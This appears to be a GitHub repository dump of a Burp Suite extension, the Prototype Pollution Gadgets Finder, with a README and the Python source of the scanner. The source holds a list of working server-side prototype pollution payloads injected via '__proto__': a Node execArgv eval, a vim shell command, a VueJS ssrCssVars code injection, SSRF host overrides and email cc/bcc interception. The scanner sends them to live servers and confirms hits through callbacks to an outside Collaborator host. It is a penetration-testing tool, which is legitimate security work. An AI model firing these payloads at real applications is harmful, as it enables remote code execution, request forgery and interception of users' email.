├── README.md ├── ppScanner.py ├── screenshot_0.png └── screenshot_1.png /README.md: -------------------------------------------------------------------------------- 1 | # Prototype Pollution Gadgets Finder 2 | 3 | ## Description 4 | The Prototype Pollution Gadgets Finder is a powerful Burp Suite extension designed to detect and analyze server-side prototype pollution vulnerabilities in web applications. This tool automates the process of scanning requests to identify potential prototype pollution issues. It exploits known gadgets - methods of leveraging prototype pollution to execute harmful actions - particularly focusing on Node.js libraries. 5 | 6 | ## Features 7 | - Automated scanning of HTTP requests for prototype pollution vulnerabilities. 8 | - Detection and exploitation of known gadgets in Node.js libraries. 9 | - Direct exploitation approach to assess the impact of prototype pollution in server-side environments. 10 | 11 | ## How to Use 12 | 1. Load the extension in Burp Suite. 13 | 2. Right-click on any HTTP request and select "Extensions -> Prototype Pollution Gadgets Finder -> Scan Gadgets" 14 | 3. The extension will analyze the request and attempt to poison the prototype if the application is vulnerable. 15 | 4. Review the results to identify potential gadgets and their impacts. 16 | 17 | ## Contributions 18 | We welcome contributions to the Prototype Pollution Gadgets Finder! If you have a new gadget to add, please submit a pull request with the following format: 19 | 20 | ```json 21 | { 22 | "payload": {"cc": "email@"}, 23 | "description": "Gadget for adding a CC address in email libraries, which could be exploited to intercept all emails sent by the platform.", 24 | "null_payload": {"cc": null} 25 | } 26 | ``` 27 | 28 | Please ensure your pull request includes: 29 | - A detailed description of the gadget and its potential impact. 30 | - A valid proof of concept demonstrating the gadget in action. 31 | 32 | ## Screenshots 33 | ![Screenshot 0](screenshot_0.png) 34 | ![Screenshot 1](screenshot_1.png) 35 | 36 | ## Disclaimer 37 | This tool is intended for educational and ethical testing purposes only. The authors are not responsible for any misuse or damage caused by this tool. 38 | -------------------------------------------------------------------------------- /ppScanner.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import json 4 | import time 5 | import copy 6 | import base64 7 | from threading import Thread 8 | from burp import IBurpExtender 9 | from burp import IContextMenuFactory 10 | from burp import IScanIssue 11 | from javax.swing import JMenuItem 12 | from java.util import ArrayList 13 | from javax.swing import SwingWorker 14 | 15 | gadgets = [ 16 | { 17 | "payload": {"baseURL": "https://"}, 18 | "description": "Gadget for modifying 'baseURL', which can lead to Server-Side Request Forgery (SSRF) or exposure of sensitive API keys in libraries like Axios.", 19 | "null_payload": {"baseURL": None} 20 | }, 21 | { 22 | "payload": {"baseurl": "https://"}, 23 | "description": "Gadget for modifying 'baseurl', which can lead to Server-Side Request Forgery (SSRF) or exposure of sensitive API keys in libraries like Axios.", 24 | "null_payload": {"baseurl": None} 25 | }, 26 | { 27 | "payload": {"proxy": {"protocol": "http", "host": "", "port": 80}}, 28 | "description": "Gadget for setting a proxy, which can be used to manipulate or intercept HTTP requests, potentially revealing sensitive information.", 29 | "null_payload": {"proxy": None} 30 | }, 31 | { 32 | "payload": {"cc": "email@"}, 33 | "description": "Gadget for adding a CC address in email libraries, which could be exploited to intercept all emails sent by the platform.", 34 | "null_payload": {"cc": {}} 35 | }, 36 | { 37 | "payload": {"cco": "email@"}, 38 | "description": "Gadget for adding a BCC address in email libraries, similar to 'cc', for intercepting emails.", 39 | "null_payload": {"cco": {}} 40 | }, 41 | { 42 | "payload": {"bcc": "email@"}, 43 | "description": "Gadget for adding a BCC address in email libraries, similar to 'cc', for intercepting emails.", 44 | "null_payload": {"bcc": {}} 45 | }, 46 | { 47 | "payload": {"execArgv": ["--eval=require('http').get('http://');"]}, 48 | "description": "Gadget for executing arbitrary commands via 'child_process', potentially leading to Remote Code Execution (RCE).", 49 | "null_payload": {"execArgv": None} 50 | }, 51 | { 52 | "payload": {"shell": "vim", "input": ":! ping \n"}, 53 | "description": "Gadget for executing arbitrary commands via 'child_process', potentially leading to Remote Code Execution (RCE).", 54 | "null_payload": {"shell": {}, "input": {}} 55 | }, 56 | { 57 | "payload": {"ssrCssVars": "1};process.mainModule.require('http').get('http://');//"}, 58 | "description": "Gadget for exploiting 'ssrCssVars' in VueJS ^3.2.47, allowing arbitrary code execution through a call to Function. This vulnerability can be used to execute arbitrary commands on the server. More information about exploitation: https://www.yeswehack.com/learn-bug-bounty/server-side-prototype-pollution-how-to-detect-and-exploit", 59 | "null_payload": {"ssrCssVars": {}} 60 | }, 61 | { 62 | "payload": {"host": ""}, 63 | "description": "Gadget for exploiting Got ^11.8.3 by modifying request properties to perform SSRF. More information about exploitation: https://www.yeswehack.com/learn-bug-bounty/server-side-prototype-pollution-how-to-detect-and-exploit", 64 | "null_payload": {"host": None} 65 | }, 66 | { 67 | "payload": {"hostname": ""}, 68 | "description": "Gadget for modifying 'hostname', which can lead to Server-Side Request Forgery (SSRF) or exposure of sensitive API keys in HTTP libraries.", 69 | "null_payload": {"hostname": None} 70 | }, 71 | ] 72 | 73 | class PollingThread(Thread): 74 | def __init__(self, collaborator_context): 75 | Thread.__init__(self) 76 | self.collaborator_context = collaborator_context 77 | self.callbacks = {} 78 | self._running = True 79 | 80 | def run(self): 81 | while self._running: 82 | for collaborator_url, callback in list(self.callbacks.items()): 83 | try: 84 | interactions = self.collaborator_context.fetchCollaboratorInteractionsFor(collaborator_url) 85 | if interactions: 86 | callback(interactions) 87 | except Exception as e: 88 | print("Error obtaining interactions for {}: {}".format(collaborator_url, e)) 89 | time.sleep(2) 90 | 91 | def add_collaborator(self, collaborator_url, callback): 92 | self.callbacks[collaborator_url] = callback 93 | 94 | def remove_collaborator(self, collaborator_url): 95 | if collaborator_url in self.callbacks: 96 | del self.callbacks[collaborator_url] 97 | 98 | def stop(self): 99 | self._running = False 100 | 101 | 102 | class ScanWorker(SwingWorker): 103 | def __init__(self, extender, traffic, collaborator_context, polling_thread): 104 | self.extender = extender 105 | self.traffic = traffic 106 | self.collaborator_context = collaborator_context 107 | self.polling_thread = polling_thread 108 | 109 | def create_modified_request(self, traffic, new_body): 110 | request_info = self.extender._helpers.analyzeRequest(traffic) 111 | headers = list(request_info.getHeaders()) 112 | 113 | content_length_index = -1 114 | for i, header in enumerate(headers): 115 | if header.startswith("Content-Length:"): 116 | content_length_index = i 117 | break 118 | 119 | if content_length_index != -1: 120 | headers[content_length_index] = "Content-Length: " + str(len(new_body)) 121 | 122 | new_body_bytes = self.extender._helpers.stringToBytes(new_body) 123 | 124 | new_request = self.extender._helpers.buildHttpMessage(headers, new_body_bytes) 125 | 126 | return new_request 127 | 128 | 129 | def doInBackground(self): 130 | request_info = self.extender._helpers.analyzeRequest(self.traffic) 131 | headers = request_info.getHeaders() 132 | 133 | is_json = any("Content-Type: application/json" in header for header in headers) 134 | 135 | if is_json: 136 | body_bytes = self.traffic.getRequest()[request_info.getBodyOffset():] 137 | body_str = self.extender._helpers.bytesToString(body_bytes) 138 | 139 | try: 140 | json_body = json.loads(body_str) 141 | except json.JSONDecodeError as e: 142 | print("Error decoding JSON:", e) 143 | return None 144 | 145 | self.modify_and_send_requests(json_body, self.collaborator_context) 146 | 147 | return None 148 | 149 | def modify_and_send_requests(self, data, collaborator_context, path=[]): 150 | 151 | for gadget in gadgets: 152 | modified_data = copy.deepcopy(data) 153 | null_modified_data = copy.deepcopy(data) 154 | current_level = modified_data 155 | null_current_level = null_modified_data 156 | 157 | for key in path: 158 | if isinstance(current_level, dict) and key in current_level: 159 | current_level = current_level[key] 160 | null_current_level = null_current_level[key] 161 | elif isinstance(current_level, list) and isinstance(key, int) and key < len(current_level): 162 | current_level = current_level[key] 163 | null_current_level = null_current_level[key] 164 | else: 165 | return 166 | collaborator_url = collaborator_context.generatePayload(True) 167 | payload = json.loads(json.dumps(gadget["payload"]).replace("", collaborator_url)) 168 | 169 | if isinstance(current_level, dict): 170 | current_level["__proto__"] = payload 171 | null_current_level["__proto__"] = gadget["null_payload"] 172 | elif isinstance(current_level, list): 173 | current_level.append({"__proto__": payload}) 174 | null_current_level.append({"__proto__": gadget["null_payload"]}) 175 | else: 176 | parent_level = modified_data 177 | null_parent_level = null_modified_data 178 | for key in path[:-1]: 179 | parent_level = parent_level[key] if key in parent_level else None 180 | if parent_level is not None and path: 181 | parent_level[path[-1]] = {"__proto__": payload} 182 | null_parent_level[path[-1]] = {"__proto__": gadget["null_payload"]} 183 | 184 | self.send_request_and_start_polling(modified_data, null_modified_data, collaborator_url, gadget["description"]) 185 | 186 | original_level = data 187 | for key in path: 188 | if isinstance(original_level, dict) and key in original_level: 189 | original_level = original_level[key] 190 | elif isinstance(original_level, list) and isinstance(key, int) and key < len(original_level): 191 | original_level = original_level[key] 192 | else: 193 | return 194 | 195 | if isinstance(original_level, dict): 196 | for key in original_level.keys(): 197 | self.modify_and_send_requests(data, collaborator_context, path + [key]) 198 | 199 | elif isinstance(original_level, list): 200 | for i in range(len(original_level)): 201 | self.modify_and_send_requests(data, collaborator_context, path + [i]) 202 | 203 | def send_request_and_start_polling(self, modified_data, null_modified_data, collaborator_url, gadget_description): 204 | modified_request = self.create_modified_request(self.traffic, json.dumps(modified_data)) 205 | null_modified_request = self.create_modified_request(self.traffic, json.dumps(null_modified_data)) 206 | modified_request_response = self.extender._callbacks.makeHttpRequest(self.traffic.getHttpService(), modified_request) 207 | callback = lambda interactions: self.handle_collaborator_interaction(interactions, modified_request_response, gadget_description, null_modified_request) 208 | self.polling_thread.add_collaborator(collaborator_url, callback) 209 | 210 | 211 | def handle_collaborator_interaction(self, interactions, modified_request_response, gadget_description, null_modified_request): 212 | issueDescription = ( 213 | "Prototype Pollution is a security vulnerability that occurs when an " 214 | "attacker is able to modify a JavaScript application's prototype object. " 215 | "It can lead to various security issues, including unauthorized access, " 216 | "information disclosure, and remote code execution." 217 | "

Gadget Found Details:

" + gadget_description 218 | ) 219 | 220 | if interactions: 221 | 222 | self.extender._callbacks.makeHttpRequest(self.traffic.getHttpService(), null_modified_request) 223 | 224 | interaction_details = "

Collaborator Interactions:

" 225 | for interaction in interactions: 226 | interaction_type = interaction.getProperty("type") 227 | client_ip = interaction.getProperty("client_ip") 228 | time_stamp = interaction.getProperty("time_stamp") 229 | request_encoded = interaction.getProperty("request") if interaction.getProperty("request") else None 230 | conversation_encoded = interaction.getProperty("conversation") if interaction.getProperty("conversation") else None 231 | 232 | interaction_detail = "Type: {}, IP: {}, Timestamp: {}
".format(interaction_type, client_ip, time_stamp) 233 | if request_encoded: 234 | request_decoded = base64.b64decode(request_encoded).decode('utf-8') 235 | interaction_detail += "Request:
{}

".format(request_decoded) 236 | interaction_details += interaction_detail 237 | 238 | if conversation_encoded: 239 | conversation_decoded = base64.b64decode(conversation_encoded).decode('utf-8') 240 | interaction_detail += "Message:
{}

".format(conversation_decoded) 241 | interaction_details += interaction_detail 242 | 243 | 244 | issueDescription += interaction_details 245 | 246 | issue = CustomScanIssue( 247 | self.traffic.getHttpService(), 248 | self.extender._helpers.analyzeRequest(self.traffic).getUrl(), 249 | [modified_request_response], 250 | "Prototype Pollution Gadget Found", 251 | issueDescription, 252 | "High", 253 | "Certain", 254 | None, 255 | ) 256 | self.extender._callbacks.addScanIssue(issue) 257 | 258 | 259 | 260 | 261 | 262 | class BurpExtender(IBurpExtender, IContextMenuFactory): 263 | 264 | def registerExtenderCallbacks(self, callbacks): 265 | self._callbacks = callbacks 266 | self._helpers = callbacks.getHelpers() 267 | self._callbacks.setExtensionName("Prototype Pollution Gadgets Finder") 268 | self._callbacks.registerContextMenuFactory(self) 269 | self.collaborator_context = self._callbacks.createBurpCollaboratorClientContext() 270 | self.polling_thread = PollingThread(self.collaborator_context) 271 | self.polling_thread.start() 272 | return 273 | 274 | def createMenuItems(self, invocation): 275 | self._context = invocation 276 | menu_list = ArrayList() 277 | menu_item = JMenuItem("Scan Gadgets", actionPerformed=self.scan_item) 278 | menu_list.add(menu_item) 279 | return menu_list 280 | 281 | def scan_item(self, event): 282 | http_traffic = self._context.getSelectedMessages() 283 | for traffic in http_traffic: 284 | worker = ScanWorker(self, traffic, self.collaborator_context, self.polling_thread) 285 | worker.execute() 286 | 287 | 288 | class CustomScanIssue(IScanIssue): 289 | def __init__(self, httpService, url, httpMessages, name, detail, severity, confidence, remediation): 290 | self._httpService = httpService 291 | self._url = url 292 | self._httpMessages = httpMessages 293 | self._name = name 294 | self._detail = detail 295 | self._severity = severity 296 | self._confidence = confidence 297 | self._remediation = remediation 298 | 299 | def getHttpService(self): 300 | return self._httpService 301 | 302 | def getUrl(self): 303 | return self._url 304 | 305 | def getIssueName(self): 306 | return self._name 307 | 308 | def getIssueType(self): 309 | return 0 310 | 311 | def getSeverity(self): 312 | return self._severity 313 | 314 | def getConfidence(self): 315 | return self._confidence 316 | 317 | def getIssueDetail(self): 318 | return self._detail 319 | 320 | def getIssueBackground(self): 321 | return None 322 | 323 | def getRemediationBackground(self): 324 | return None 325 | 326 | def getRemediationDetail(self): 327 | return self._remediation 328 | 329 | def getHttpMessages(self): 330 | return self._httpMessages 331 | 332 | def getMarkers(self): 333 | return None 334 | -------------------------------------------------------------------------------- /screenshot_0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyensec/Prototype-Pollution-Gadgets-Finder/825691d6b158e56c1d980fc365a91979a15f15cf/screenshot_0.png -------------------------------------------------------------------------------- /screenshot_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyensec/Prototype-Pollution-Gadgets-Finder/825691d6b158e56c1d980fc365a91979a15f15cf/screenshot_1.png --------------------------------------------------------------------------------